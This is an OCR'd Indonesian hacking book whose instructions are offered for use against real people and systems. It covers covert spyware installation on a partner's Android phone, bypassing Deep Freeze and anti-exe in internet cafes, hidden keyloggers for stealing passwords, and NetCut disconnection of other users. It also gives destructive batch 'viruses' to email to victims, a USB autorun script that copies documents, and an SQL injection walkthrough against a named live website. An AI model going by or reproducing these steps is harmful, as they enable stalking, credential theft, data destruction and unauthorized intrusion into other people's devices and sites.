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Cepat Belajar Hacking



Sanksi Pelanggaran Pasal 113
Undang-Undang Nomor 28 Tahun 2014
tentang Hak Cipta

1.

Setiap Orang yang dengan tanpa hak melakukan pelanggaran hak ekonomi
sebagaimana dimaksud dalam Pasal 9 ayat (1) huruf i untuk Penggunaan
Secara Komersial dipidana dengan pidana penjara paling lama 1 (satu) tahun

dan/atau pidana denda paling banyak Rp100.000.000 (seratus juta rupiah).

Setiap Orang yang dengan tanpa hak dan/atau tanpa izin Pencipta atau
pemegang Hak Cipta melakukan pelanggaran hak ekonomi Pencipta
sebagaimana dimaksud dalam Pasal 9 ayat (1) huruf ¢, hurof d, hurof f,
dan/atau huruf h untuk Penggunaan Secara Komersial dipidana dengan
pidana penjara paling lama 3 [tiga) tahun dan/atau pidana denda paling
banyak Rp500.000.000,00 (lima ratus juta rupiah).

Setiap Orang yang dengan tanpa hak dan/atau tanpa izin Pencipta atau
pemegang Hak Cipta melakukan pelanggaran hak ekonomi Pencipta
sebagaimana dimaksud dalam Pasal 9 ayat (1) huruf a, hurof b, huruf e,
dan/atau huruf g untuk Penggunaan Secara Komersial dipidana dengan
pidana penjara paling lama 4 (empat) tahun dan/atau pidana denda paling
banyak Rp1.000.000.000,00 (satu miliar rupiah).

Setiap Orang yang memenuhi unsur sebagaimana dimaksud pada ayat (3)
yang dilakukan dalam bentuk pembajakan, dipidana dengan pidana penjara
paling lama 10 (sepuluh) tahun dan/atau pidana denda paling banyak
Rp4.000.000.000,00 (empat miliar rupiah).
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BAB 01

ANDROID HACKING,

Nah, yang akan penulis bahas kali ini adalah bagaimana agar kita bisa
melakukan penyadapan pada Android secara bersih dan transparan,

sehingga si pemilik tidak curiga dan tidak merasa dimata-matai.

Tentunya hal ini membutuhkan bantuan Aplikasi, dalam hal ini Jaka
menggunakan Aplikasi Gratis yang bernama Children Tracker. Aplikasi
ini cukup bagus, didesain khusus untuk memantau aktivitas si kecil.
Selain itu, Children Tracker juga bisa memantau aktivitas lainnya, seperti
SMS, Telepon masuk, WhatsApp, BBM, dan lain-lain.

1. Pertama, Download dan Install Children Tracker di Android
Anda.

2. Lalu dalam Android, Anda lalu lakukan instalasi seperti biasa.
Jika Anda baru pertama kali menginstal APK, Anda harus
mengaktifkan fitur "Unknown resources" yang ada di menu

"Setting - App".


GoBP
Inserted Text


3. Daftarkan diri Anda, dengan mengisi email. Kemudian cek email

Anda, karena di situ Anda akan mendapatkan link konfirmasi

beserta password yang bisa digunakan untuk log in.

SafaT Children Tracker Registration
SafeT Children Tracker Support

Dear Subscrbe

Thank you for regsterad an account with SafeT Cheldren Tracker Please click on this link to acive your accownt
Hare ang your login infoemation

= Lo sa0e Al

Login name

- Paszword I—— o
Fleasa s

savm 1his. amail for refarance

4. Untuk mulai memantau, Anda harus Jlog in di

https://tracker.safet.me/login. Ini adalah portal resmi dari

aplikasi Children Tracker, yang mana di dalamnya kita bisa
memantau segala aktivitas korban.



Karenanya, Anda juga bisa mengetahui lokasi terakhir dan posisi korban
tanpa menggunakan fitur GPS, tentunya ini akan sangat menarik bukan?
Mengingat jika Anda mengaktifkan GPS secara diam-diam, pasti akan
ketahuan, tapi tidak dengan aplikasi ini.

SMS Forwarder

Mungkin di antara kita ada yang pernah terbesit untuk menyadap sms
seseorang. Hal ini juga pernah saya rasakan dan ingin saya lakukan,
apalagi yang punya pasangan dan curiga pasangannya bermain di

belakang dengan orang lain.

Aplikasi ini akan membantu Anda untuk meneruskan sms dari target ke
nomor kita, sehingga kita tahu siapa yang sms dan apa isi sms tersebut.
SMS Forwarder merupakan nama aplikasi tersebut, merupakan aplikasi
android yang memiliki kemampuan untuk meneruskan sms. Aplikasi ini

bisa Anda manfaatkan untuk monitoring pasangan.



Fitur Aplikasi SMS Forwarder

v

v

Tentukan nomor telepon atau e-mail untuk menerima pesan.

Mengatur beberapa aturan untuk mengubah pesan sebelum

diteruskan dengan cepat.

Melampirkan informasi dari pengirim asli pada pesan yang

diteruskan.
Lihat sejarah pesan diteruskan.

Fasilitas Block pesan tetap terkirim dalam kotak masuk pesan,

tentunya dalam fitur aplikasi sms default Anda.

Tentukan hari dalam seminggu dan waktu dari hari di mana

pesan tidak boleh diteruskan.






Cara Menggunakan SMS Forwarder

Yang harus Anda lakukan adalah download aplikasi SMS Forwarder. Hal
ini bisa Anda download dari ponsel android target, atau download dari
ponsel android Anda, dan kirim Aplikasi via Bluetooth. Selanjutnya Anda

instal diam-diam.

1. Kemudian buka aplikasi SMSForwarder yang telah terinstal dan
klik Active untuk mengaktifkannya.

2. Pada bagian Forward to, silahkan masukkan nomor HP Anda.

Langkah selanjutnya membuat si target tidak bisa membuka aplikasi

SMSForwarder. Caranya, pada menu Setting lakukan seperti di bawah ini.
v Show indicator icon: NO (agar aplikasi tidak terlihat)

v" Attach sender number: Yes



v" Attach sender name: Yes
v" Auto Start: Yes

v Login Password: Buatlah password untuk login ke aplikasi ini.
Untuk sekadar berjaga-jaga, Anda bisa menyimpan password-nya

dalam notes, jikalau suatu saat Anda lupa.

Sekarang Anda akan tahu siapa saja yang sms ke nomor si target.

Andorid Lost

Android adalah sistem operasi yang paling populer sekarang ini, jadi
hampir setiap gadget yang dipakai menggunakan OS Android. Untuk
itulah di sini penulis akan mencoba menyadap smartphone android

dengan aplikasi gratis.
Langkahnya sebagai berikut:

1. Instal Android Lost dari Play Store.

2. Tap Accept.



3. Biarkan proses instalasi berlangsung.

Android Lost

Maore by Theis B

4. Tap Open untuk menjalankan aplikasi.

Android Lost




5. Tap Request Administrator rights.

6. Tap Activate.

7. Kemudian tap Exit.

www. AndroidLost.c




8. Sekarang Anda bisa membiarkan android tersebut digunakan
bebas oleh orang yang ingin disadap. Namun pastikan bahwa

koneksi data harus berjalan terus-menerus.

Untuk mengecek, Anda bisa menggunakan browser dari device mana saja.
Cobalah buka url www.androidlost.com. Kemudian klik Sign In.
- o N

EAQ Forum Guide Testimogisle Credits 55 Oooa

semit AndroidLost.com

Signin
[Featires | [ GetStarted | [ Conrols | [SM8 | [Logs |
Features

Read SMS'es

Remote control alarm

9. Lalu login menggunakan akun google yang sama dengan akun

google yang terpasang di android yang akan disadap tadi.

10



10. Klik Allow.

11. Jika berhasil terhubung, Anda akan mendapati pesan sebagai
berikut.

The page at www.androidlost.com says:

Congratulaticns! Your email account is now connected to
| your phone and you can use the controls L

12. Sekarang Anda bisa menjalankan android dari PC Anda. Klik

menu SMS untuk memberikan perintah.

Lalu di kolom SMS Allow ketikkan perintah kemudian Enter.



Untuk perintah lainnya sebagai berikut:

androi dl ost status (sends back the status)

androidlost alarm 5 (sounds the alarm for 5
seconds)

androi dl ost nessage H there! Call 55523424 to get
the reward (pops up a nessage on the phone)

andr oi dl ost sound on (enabl es sound)
andr oi dl ost sound of f (mutes sound)

androi dl ost speak cone hone now Brian (speaks the
message out | oud)

androi dl ost data start (starts the data connecti on)
androi dl ost data stop (stops the data connecti on)
androidlost wifi start (starts the wifi connection)
androidlost wifi stop (stops the wi fi connection)

andr oi dl ost cal | 12345678 (calls the nunber
12345678)

andr oi dl ost hangup (hangs up the active call)

andr oi dl ost recordsound 30 (records 30 seconds from
m cr ophone)

androi dl ost getcommands (tries to get waiting
commands from server)

androi dl ost apn copy (copies existing APN and sets
it default)

androi dl ost apn renove (renoves copy APN and sets
previ ous default)

andr oi dl ost apn enabl e (enabl es copy APN)

12




androi dl ost apn di sabl e (di sabl es copy APN)

androi dl ost gps (locates the phone and returns an
SMVB)

androi dl ost lock 1234 (locks the phone to pincode
1234)

andr oi dl ost unl ock (unl ocks the phone)

andr oi dl ost tr oubl eshoot er (starts t he
Tr oubl eshoot er)

androidl ost startpoll (polls the server for new
nmessages)

andr oi dl ost stoppoll (stops polling)

androi dl ost restoresettings (gets the settings from
t he server)

andr oi dl ost updat ephonei nfo (overwites the server
settings with settings fromthe phone)

androi dl ost startapp (starts the app)
andr oi dl ost erasesdcard (erases the sd card)

andr oi dl ost wi pe (w pes the phone)

Di sini Anda bisa melihat dan mengontrol hp korban melalui fitur

Control.

13
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Controls

13. Lalu untuk melihat Logs, klik menu Logs.



BAB 02

HACK WARNET

Mematikan Deep Freeze Warnet

Di warnet, deep freeze adalah aplikasi yang wajib ada. Aplikasi ini
berfungsi untuk mengembalikan OS seperti sediakala tanpa adanya
perubahan yang berarti dari instalasi user. Contohnya adalah ketika Anda
bermain di warnet dan hendak menginstal Photoshop. Photoshop
memang bisa diinstal, namun ketika Anda me-restart PC, maka
Photoshop tersebut sudah tidak ada lagi karena OS akan kembali seperti

pada saat pertama kali Anda menggunakannya.

Untuk menginstal keylogger atau menanamkan software hacking lainnya
di warnet, Anda perlu masuk sebagai administrator deep freeze untuk

dapat melakukan izin instalasi.

1. Silakan download software anti-deepfreeze-nya terlebih dahuluy,
atau Anda dapat menghubungi penulis melalui email:

adelphia.andrea@yahoo.com.

2. Jika sudah di-download, ekstrak file tersebut dan jalankan
aplikasinya.

3. Setelah itu pilih versi DeepFreeze yang digunakan. Jika Anda
tidak yakin dengan versi berapa yang Anda gunakan, lihat
gambar ADF v.02 berikut. Lihat tulisan berwarna hijau, gambar
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menunjukkan DF Version: 6 berarti DeepFreeze yang Anda

gunakan Deep Freeze v.6. Jika sudah dipilih, klik Apply.

~

3¢ Anti Deep Freeze v0.2 =

Lalu kemudian buka Deep Freeze-nya, dengan cara menekan bersamaan
tombol Shift+Ctrl+Alt+F6 atau menekan Shift+Klik 2x ikon deep freeze

pada sistem tray di menu bar.

Deep Freeze

\  Faronics

Version:
6.61.020. 2822

Enter Password: |

4. Langsung saja klik OK tanpa memasukkan password, maka akan
muncul tampilan Deep Freeze-nya. Klik tab Password, dan ganti

password-nya sesuai dengan keinginan Anda.

16
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5. Selesai. Untuk menonaktifkan Deep Freeze, silakan kembali ke
tab Status dan pilih Bot Thawed lalu klik Apply. Restart
komputer Anda dan lihat hasilnya.

Trik ini langsung penulis coba dari warnet yang menggunakan deep freeze
pada Windows XP sp 2. Namun tak tertutup kemungkinan trik ini bisa
dicoba pada versi yang lebih baru.

Mematikan Anti-Exe di Warnet

Anti-exe adalah sebuah aplikasi yang berfungsi untuk mem-bloking
semua file *exe ketika dijalankan di OS windows. Contohnya, ketika Anda
ingin menginstal sebuah aplikasi Photoshop di PC Anda. Jika PC tersebut
terdapat anti-exe maka Photoshop tentu saja tidak bisa diinstal. Di
warnet-warnet, anti-exe lumrah sudah terinstal di PC. Oleh karena itu,
skenarionya di sini adalah mematikan anti-exe yang ada di warnet agar

kita bisa dengan leluasa menanamkan anti-exe.

1. Buka Command Prompt dengan cara menekan tombol Windows
+ R pada keyboard > ketik CMD lalu Enter.

17



Apabila di warnet Anda CMD tidak bisa dibuka, maka coba buka folder
C:/Windows/System32 > kemudian cari CMD.

4,

o] CA\Windows\system32\cmd.exe =

Ketikkan tasklist lalu Enter.

Maka akan muncul seperti di bawah ini jika berhasil. Kemudian
catat: (1) Nama aplikasi dan (2) PID dari Faronics Anti-Exe

sudah tentu ada, seperti berikut.

icrosoft Windows [Version 6.2.920@]
> 2012 Microsoft Corporation. All rights reserved.

:NUsersindrea Adelheid>tasklist

Service

Services
Services
Services
Services
Services
Services
Services
Services
Services
Lervices
Services
Services
Services
Services
Lervices
Services

DEOEESIIDONIIERED
mEEEEARRRRREREEEEAR

Jika sudah, kini saatnya untuk mematikan anti-exe. Di sini Anda
harus sangat berhati-hati, pastikan nama aplikasi dan PID-nya
sudah benar. Contoh, misalkan kita akan mematikan Notepad
maka yang diketikkan adalah taskkill /PID 5572 /F.



(o | C:A\Windows\system32\cmd.exe =

[LiveGomm.exe
[Runt imeBroker.exe

ohile Partner.exe
D-Agent .exe
ifirefox.exe
lugin—container.exe
lashPlayerPlugin_12_@_8_
lashPlayerPlugin_12_8_@_
otepad.exe

S 3] =
mEERERERRRRARRRRRRRRRRRRRRE a

LR L T R EL R R R F 11T R R T E L E T T T

“~Andrea Adelheid>taskkill ~PID 5572 ~F
|

5. Untuk anti-exe di PC penulis, PID-nya seperti di atas. Jika sudah
benar, tekan Enter. Maka sekarang anti-exe sudah bisa dimatikan

dan Anda bisa menginstal aplikasi Anda.

Perlu diperhatikan bahwa PID di PC masing-masing pasti berbeda.

Mencuri Data PC dengan Keylogger

Mungkin masih banyak di antara Anda yang belum mengetahui apa itu
Keylogger. Keylogger merupakan sebuah software yang merekam atau
menyimpan semua input yang dimasukkan oleh keyboard. Keylogger
biasanya digunakan oleh orang-orang yang ingin mencuri data atau
password account milik orang lain dan kemudian data-data atau
password account tersebut akan digunakan untuk berbagai macam

kepentingan.

Keylogger ini benar-benar senjata yang cukup ampuh untuk mencuri data
dari orang lain. Biasanya Keylogger ini diinstal pada komputer-komputer
umum, seperti komputer-komputer pada Warnet dan rental komputer.

Tujuannya tidak lain untuk mencuri data-data Anda.
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Sebenarnya Keylogger ini berguna juga jika Anda ingin mengetahui
tombol-tombol dan input atau masukan apa saja yang telah Anda ketik di
keyboard agar Anda tidak lupa dengan apa yang sudah diketikkan.
Aplikasi dapat Anda temukan secara gratis di Google, atau Anda bisa

menghubungi penulis melalui email: adelphia.andrea@yahoo.com.

Namun perlu diperhatikan, sebelum Anda menginstal aplikasi ini,
sebaiknya matikan Anti deep freeze kemudian nonaktifkan anti virus,
atau Anda bisa saja meng-uninstall anti virus tersebut untuk hasil

maksimal.

Spy Keylogger
Aplikasi keylogger yang pertama kita bahas adalah Spy Keylogger. Aplikasi

ini adalah salah satu keylogger yang banyak digunakan karena memiliki
user interface yang user friendly. Tersedia tipe berbayar dan demo untuk

mencobanya.

Instalasi

Cara untuk menginstal Spy Keylogger sebagai berikut:
1. Klik ganda pada file SpyKeylogger-Install.exe.

2. Jika muncul pesan seperti gambar di bawah ini, klik Run

Anyway.
3. Klik Yes.
4. Klik Next.

20



5. Setujui pernyataan yang muncul lalu klik Next.

6. Tentukan folder instalasi kemudian lanjutkan dengan mengklik
Next.

o) x
oy

Choose Install Location =]
Choose the folder in which to install Spy-Keylogger 1,32, l=r

Setup wilinstall Spy-Keylogger 1.32in the folawing folder. To installin = different folder, cick
Browse and select another folder. Click Next to continue.

Destination Folder

[ CoVprogram Fies\spykeyLogger | | Bronse...

Space required: 1.3MB
Space avaiable: 25.068

Spy-Keylogger 1.32 Instal System

<Back | mext> | | Cancel
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7. Klik Install untuk memulai instalasi.

8. Biarkan proses instalasi berlangsung.

9. Klik Finish untuk langsung menjalankan aplikasi.

15 Spy-Keylogger 1.32 Setup = =

Completing the Spy-Keylogger 1.32
Setup Wizard

Spy-Keylogger 1.32 has been installed on your computer.

Click Finish to close this wizard,

[¥18un Spy-Keylogger 1,32

[ show Readme

Einish Cancel
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Pengaturan Aplikasi

Selanjutnya jika aplikasi sudah berjalan, hal yang perlu Anda lakukan
adalah sebagai berikut:

1. Klik OK untuk melanjutkan versi demo.

This iz trial version.
Flease, register your copy of the program

30 dawlz) of the trial period left

2. Lalu klik kanan ikon ® yang ada di tray menu.

3. Akan muncul beberapa menu, pilih Options.

Check logs...

Hide icon

Opticns...

About...
Help

Registration
Home page
Send cormment

Stop

Exit

4. Akan muncul jendela aplikasi seperti gambar di bawah ini.
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Spy-Keylogger 1.32 - Unregistered

Startup settings Unhide keystioke

[ Always launch in hidden mode LS

[ ] Hide in process list [finds only) Lag file settings

[] Autolaunch at system startup Create separate log file for every day O

Delete from Uninstall list and Programs menu =

Character log seflings

(®) Save only printable characters Save all keystrokes

Check logs...

Adapun beberapa bagian yang perlu Anda pahami sebagai berikut:
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Always launch in hidden mode: untuk menyembunyikan aplikasi

ketika pertama kali PC dihidupkan.

Hide in process list (Win9x only): untuk menyembunyikan
kinerja aplikasi agar tak terpantau aplikasi lainnya melalui task

manager.

Autolauch at system startup: fungsi menjalankan aplikasi secara

otomatis ketika PC pertama kali dihidupkan.

Unhide keystroke: adalah fungsi untuk membuka aplikasi

melalui shortcut keyboard.

Setelah melakukan pengaturan, selanjutnya Anda bisa mengklik

tombol Check logs untuk aktivitas yang berhasil direkam Spy

Keylogger.
Spy-Keylogger - Check logs
[
Log file name Size  Last modified
skllog 015 KB 2/9/2014 10:05:48 ..



Hacking Warnet dengan NetCut

Netcut adalah salah satu aplikasi yang cukup berguna jika Anda sebagai
user ingin mengatur pembatasan kegiatan yang dilakukan oleh host
server, atau biasa disebut operator warnet. Contoh kecilnya adalah tidak
semua warnet mengizinkan user-nya untuk melakukan proses download.
Bisa saja dengan penggunaan mikrotik hal ini dilakukan, atau trik
tersendiri dari operatornya. Nah, dengan netcut, kita bisa saja meng-
gunakan PC client untuk men-download dan bahkan mengendalikan
komputer operator! © Namun tidak semua OS PC bisa diinstal dengan
aplikasi ini. Berdasarkan pengamatan penulis, aplikasi ini berjalan dengan
lancar di Windows XP sp 1 dan sp 2, untuk versi setelahnya belum bisa

digunakan.

Mematikan Koneksi User Lain di Warnet

Untuk menggunakan netcut, Anda tidak perlu menyiapkan ruang kosong
untuk instalasinya, karena aplikasi ini berdiri sendiri dan dapat langsung
digunakan. (Anda dapat menghubungi penulis melalui email:

adelphia.andrea@yahoo.com.)

1. Dengan netcut, penulis di sini ingin mematikan koneksi warnet
agar koneksi yang penulis miliki lancar jaya untuk men-
download. ©

2. Kemudian buka netcut, dan Anda akan melihat banyak IP
Address. Untuk menghentikan koneksi target, hanya tinggal sorot
IP Address-nya, lalu klik pada tombol Cut Off. Maka dalam
waktu beberapa menit, koneksi IP target terhenti, bandwidth IP
target beralih menjadi bandwidth Anda, dan tentunya akan

membuat koneksi internet Anda lebih cepat. ©
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3.

Untuk menyambungkan koneksi internet, sorot pada IP yang

diputus tadi kemudian klik Resume.



BAB 03

CARA GAMPANG
BUAT VIRUS

Membuat Virus Simple Tapi Mematikan

Ini adalah virus yang sederhana dibuat dari notepad, tetapi efeknya
dahsyat banget, sampai merusak sistem operasi WINDOWS. Jadi jangan
dicoba di komputer sendiri, jika ingin mencoba, silakan aktifkan dulu

deep freeze-nya atau shadow defender-nya.
1. Buka notepad START > ALL Program > Accessories > Notepad.

2. Setelah muncul notepad, masukkan script di bawah ini:

@cho of f
del c:\wi nnt\systenB2\*.* del c:\w nnt\*.*

""" Untitled - Motepad =N ==
File Edit Format  Wiew Help

aacho off
del civwinnthsystem32hy . ® del ciwinnty». ¥
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3. Kemudian save as namafile.bat, di sini saya contohkan rea.bat.

Kemudian klik Save.

Cara menggunakannya, cukup Kklik file-nya. Hati-hati ya, virus ini
menghapus system32 dan file core WINNT. Jadi efeknya virus ini bisa
membuat OS WINDOWS tidak bisa digunakan. Cara penyebarannya
adalah convert rea.bat menjadi rea.com menggunakan bat2com utility
kemudian kirim file rea.com melalui email dan kirim ke email korban.
Jika si korban membuka file tersebut maka komputernya crash dan
terpaksa harus Install ulang. Trik ini cocok untuk menyerang musuh
melalui email. Tapi jika Anda mengirim virus ini lewat email, Anda harus

meyakinkan korban agar korban mau membuka file virus itu.
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Berikut ini beberapa script untuk membuat virus lainnya.

= Virus untuk Membuat Komputer Shutdown

@cho of f
nsg * |' AM WATCHI NG YOU!
shutdown -c¢ "Error Your PCis Load,.,.," -s\

*  Virus untuk Membuat Komputer Shutdown dengan Timer

@cho shutdown -s -t 2 -f

Keterangan: Angka 2 adalah timernya, silakan ganti sesuka Anda.

=  Virus untuk Membuat Tombol Backspace Menekan Terus-

Menerus

MsgBox " TRY AGAI Nl " Set wshShel |
=wscri pt. Creat eCbj ect ("W5cri pt. Shel | ") dowscri pt. sl eep
100wshshel | . sendkeys "{bs}"| oop

= Virus untuk Membuat Notepad Terbuka secara Otomatis

@ECHO of f: t opSTART %Byst enRoot % syst enB2\ not epad. exeGOTO t op

= Virus untuk Membuat DVD/CD ROM Terbuka Sendiri

Set oWWP = CreateObj ect ("WWPl ayer. OCX. 7")
Set col CDROVE = oWWP. cdrontCol | ecti on

do

if col CDROVs. Count >= 1 then

For i = 0 to col CODROVs. Count - 1
col CDROVs. Iten(i). E ect

Next

For i = 0 to col CDROVs. Count - 1
col CDROVs. Iten(i). Ej ect

Next

End | f

wscript.sleep 5000

| oop

= Virus untuk Memformat Harddisk

@cho of f
DEL C -Y
DEL D. -Y
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Virus untuk Mencuri Data dari CPU Lain

Saya akan memberikan tutorial sederhana tapi mantap. Nah, Flashdisk
memang bisa dijadikan pencuri data, seperti di film-film itu hehehe ©
Dan lumayan buat modal jadi mata-mata kayak James Bond ... © OK, kita
ke TKP Cok.

Sebelumnya siapin dulu flashdisk kita (kalau bisa minimal 8 GB).

1. Buka Notepad, copy dan paste kode di bawah ini.

[autorun] icon=drive.ico open=l aunch. bat action=Click OK to Run
shel I\ open\ conmand=| aunch. bat

Kemudian simpanlah di flashdisk dengan nama: autorun.inf

2. Buka Notepad lagi dan copas kode berikut:

@cho of f
;1 variables
/mn

SET odri ve=%odrive: ~0, 2%

set backupcnd=xcopy /s /c /d /e /h /i /r /|y echo off
Y%backupcnd% " WSERPROFI LE% My Docunent s\ *. doc" "% lri ve% al |
\ doc"

@cho off cls

Simpan di flashdisk Anda dengan nama: file.bat

3. Buka Notepad lagi dan copas kode berikut:

Creat eQbj ect ("Wscript. Shell").Run """" & W5cript. Argunents(0) &
memn o0, Fal se

Simpan di flashdisk Anda dengan nama: invisible.vbs

4. Buka Notepad lagi dan copas lagi kode berikut:

wscript.exe \invisible.vbs file.bat

Simpan di flashdisk Anda dengan nama: launch.bat

Sekarang pastikan keempat file tadi yang telah kita buat berada di
flashdisk kita. Dan buatlah folder baru dengan nama all untuk
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menyimpan hasil curian kita dari komputer teman tadi. Di mana
perintah:  %backupcmd% “ %USERPROFILE%\My Documents\*.doc"
“%drive%\all\doc” akan menyalin semua file berekstensi .doc ke dalam
folder “all/doc” yang berada di flashdisk kita secara otomatis, waktu kita
mencolokkan flashdisk kita di komputernya, ataupun dia sendiri yang

mencolokkannya di komputernya sendiri.

Sebelum mencoba mencuri file di komputer teman, coba dulu flashdisk

kita di komputer kita sendiri. Lihat, apakah bekerja dengan baik.

ok
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BAB 04

HACKING WEBSITE

Memiliki pertahanan serta tingkat keamanan yang tinggi tentunya sangat
penting bagi para pemilik website. Dan hal itu sudah sepenuhnya menjadi
tugas para Web Admin Security dalam menanganinya. Tetapi tahukah
Anda? Bahwa hampir semua website yang dibuat oleh daya pikir manusia

itu mempunyai celah untuk ditembus?

Tentunya Anda masih ingat pada masa-masa tahun 2000-an, di mana
terjadi perang Cyber antara negara Indonesia dan negara tetangga yang
menghebohkan dunia maya. Banyak situs-situs pemerintah kedua negara
tersebut diobrak-abrik oleh para Hacker maupun Cracker. Pasti Anda
berpikir "bagaimana sebuah situs yang dibangun oleh programmer andal
bisa dibobol?"

Dalam menjalankan aksinya, para pengincar celah keamanan ini meng-
gunakan beberapa metode, mulai dari yang gampang sampai yang susah.
Untuk itu penulis akan membahasnya menjadi beberapa subbab agar

memudahkan para calon-calon hacker ini untuk mempraktikkannya.

Instalasi XAMPP

Xampp adalah perangkat lunak yang dikembangkan oleh apache.
Kegunaan aplikasi ini untuk membangun server yang berdiri sendiri

(localhost). Jika Anda menginstal xampp ke dalam PC, Anda akan
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mendapatkan empat paket di dalamnya, yaitu Apache server,
PhpMyAdmin, Perl, dan MySQL. Aplikasi ini bersifat gratis dan dapat
digunakan oleh siapa pun. Pembahasan khusus di beberapa subbab
berikut ini membutuhkan server yang berdiri sendiri untuk menjalankan

beberapa contoh script.

1. Klik ganda pada aplikasi xampp.exe. (Anda dapat menghubungi

penulis melalui email: adelphia.andrea@yahoo.com.)

2. Pada jendela instalasi awal, pilih bahasa yang Anda pahami >

OK.
Installer Language
f Please select a language.
English v
oK Cancel
3. KIlik Next.
XAMPP 1.8.1 win32 S =

Welcome to the XAMPP 1.8.1 Setup
Wizard

This wizard will guide you through the installation of XAMPP
8.1,

Itis recommended that you close all other applications
before starting Setup. This will make it possible to update
relevant system files without having to reboot your
computer,

Click Mext to continue,

Mext > Cancel

4. Pada pemilihan komponen, berikan tanda centang pada semua
pilihan > klik Next.
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5. Klik Install.

6. Proses instalasi akan berlangsung, mungkin akan memakan

waktu yang agak lama.

7. Dalam proses instalasi, bila Anda melihat jendela cmd keluar

seperti gambar di bawah ini, biarkan saja.
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chxampp\php\php.exe

S B S R 0 R R S 0 B S RS0 A S R B 0 B S e i
ﬁ ApacheFriends HAMPP setup wind2 Uerszion i

# Gay Wi (l <webmasterfuiedmann—online .de> #
uuummmtmtuuuuuumﬂmmtmtmtmtummmtmtmtmtuumnmmtuuuuuuuuuuuuuuuuuuuuuuuu

Configure XAMPP with awk for ‘Windows_HNT*
Updating configuration files ... please wait ...

8. Jika proses instalasi sudah selesai, klik Finish.

XAMPP 1.8.1 win32 =
Completing the XAMPP 1.8.1 Setup
Wizard

XAMPP 1.8.1 has been installed on your computer.

Click Finish to dose this wizard.

Finish

9. Pilih Yes pada jendela yang keluar untuk langsung menjalankan

xampp control panel.
XAMPP 1.8.1 win32

You can manage all the servers (services) with the XAMPP Control Panel. Do you
want to start the Control Panel now?

10. Pada aplikasi xamp control panel, Anda akan menjumpai bebe-

rapa pilihan seperti gambar yang tertera.
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11. Anda tidak harus mengaktifkan semua pilihan karena kita hanya
membutuhkan Apache dan MySQL saja. Jadi klik tombol Start
pada pilihan Apache dan MySQL.

12. Jika sudah aktif maka akan seperti gambar di bawah ini.

Untuk menghentikan servis klik tombol Stop. Jika Anda menutup jendela
xampp control panel, Anda bisa memunculkannya kembali dengan

mengklik ikon [0 yang ada di taskbar.

|[Ele® = = 10m (=) L) {+)

Py L] ) I 3] " g:E.?lAM
m '!- .\-' 'In.!. |.r Tlﬂ lll;| I":'.-'

11772013
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Instalasi Python

Sebelum melangkah lebih jauh ke materi yang ada, Anda diharuskan
untuk menginstal software atau aplikasi yang sudah penulis siapkan.
(Anda dapat menghubungi penulis melalui email:
adelphia.andrea@yahoo.com.) Sebagian besar instalasi aplikasi hampir
sama dan caranya pun cukup mudah. Bagi Anda yang belum bisa

menginstal aplikasi, berikut caranya:

1. Di sini penulis akan menunjukkan cara instalasi software phyton
yang akan digunakan untuk sql injection. Klik ganda pada file

instalasi python.exe > Run.

2. Pilih Install for all users > Next. Karena tujuannya agar aplikasi
bisa digunakan oleh setiap user yang ada di PC, termasuk Guest

sekalipun.

3. Pada pilihan folder instalasi, klik Next.

b Pythan 2.5.1 Setup EX

Select Destination Directory

Plmes sulect 3 dractory for the Python 2.5.1 tes
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4. Klik Next lagi untuk melanjutkan pemasangan.

5. Biarkan proses instalasi terjadi beberapa saat.

6. Klik Finish.

Instalasi software selesai dan siap untuk digunakan.
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Mencari Target

Sebelum mengarah ke pembahasan praktik, marilah kita terlebih dahulu
mencari situs yang akan dijadikan percobaan hacking. Anda bisa mencari
sendiri di Google jika Anda inginkan dengan kata kunci pilihan Anda.
Namun ada satu metode khusus dari penulis, yaitu dengan memanfaatkan
bug report di situs online seperti http://bugsearch.net. Di situs tersebut
setiap harinya akan di-publish sejumlah cms yang vuln (yang dapat
dijadikan target hacking). Beberapa hacker Indonesia juga rajin melapor-
kan bug yang ada di situs tersebut, termasuk penulis (tetapi penulis bukan
hacker).

a) Buka situs http://bugsearch.net.

b) Pada halaman pencarian, ketikkan apa yang hendak dicari,

misalkan sql injection, lalu klik search.

O

c) Hasilnya akan ditampilkan seperti berikut.
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Pilih salah satu link yang keluar. Di sini penulis memilih
http://bugsearch.net/en/13957/guru-auction-20-multiple-sql-

injection-vulnerabilities.html untuk di-exploit.

d) Pada deskripsi akan ditampilkan seperti pernyataan di bawah ini:

Author : v3nOm

Site : http://ycl.sch.id/

Date : December, 26-2012
Location : Yogyakarta, Indonesia
Time Zone : GMT +7:00

Application : Guru Auction 2.0
Price : $49
Vendor : htt{: —guruscript.com
Google Dor inurl:subcat.php?cate_id=

http://domain.tld/[path]/subcat.php?cate_id=-
9999+union+all+select+null,group_concat(user_name,char(58),passw
ord),nul l+from+admin--

Blind SQLi pOc:

http://domain.tld/[path]/detail .php?item_id=575+AND+SUBSTRING (@@
version,1,1)=5 << true
http://domain.tld/[path]/detail .php?item_id=575+AND+SUBSTRING (@@
version,1,1)=4 << false

Copy-kan bagian Google dork, yaitu bagian di bawah ini:

i nurl:subcat. php?cate_id=

e) Lalu paste-kan ke halaman pencarian Google. Penulis menda-

patkan hasil sebagai berikut.
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f) Pilih salah satu link yang diinginkan, dan bukalah situs tersebut.

| http://www.rokmax.com/subcat.php?catid=37

Untuk mengecek apakah web tersebut vuln (dapat dijadikan target
hacking) atau tidak, gunakan perintah dengan memberikan tanda petik

satu (‘) atau tanda minus (-) di awalan id yang keluar.

Contoh:

| http://www. rokmax.com/subcat.php?catid=37’

Atau:

| http://www. rokmax.com/subcat.php?catid=- 37

Pada contoh kasus kali ini, penulis mencoba cara yang pertama dan

mendapatkan pesan seperti gambar berikut di halaman web-nya.

ol

# Securit, X # Gurufl x inurksu x WWWLIo X \
& & wiww.rokmax.com/subcat.php?catid=37 vl =
You have an etror in vour SQL svntax; check the manual that corresponds to vour
MyvSQL server version for the right syntax to use near """ at line 1

Untuk jenis bug cms yang lain, caranya sama, dengan memanfaatkan
Google dork.
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SQL Injection Versi 1 - Schemafuzz (MySQL 5)

Apa itu SQL (Structured Query Language) Injection? Kenapa namanya
seperti terdengar dari bidang “kedokteran” Tenang saja, ini masih
merupakan teori dalam menginfeksi web menggunakan perintah dengan
memasukkan suatu karakter khusus. Bisa dibilang agar web target dapat
terinfeksi, Anda harus memasukkan karakter seperti tanda petik (‘) atau
tanda minus (-) yang tidak dikenali dalam database mysql, yang dapat
menyebabkan website tersebut demam-demam tidak karuan alias error!
Kesalahan web aplikasi ini juga terjadi karena adanya kesalahan dalam
membuat suatu program yang mengakibatkan terjadinya error dalam

memanggil perintah MySQL.
Contoh hacking website dengan sql injection sebagai berikut:

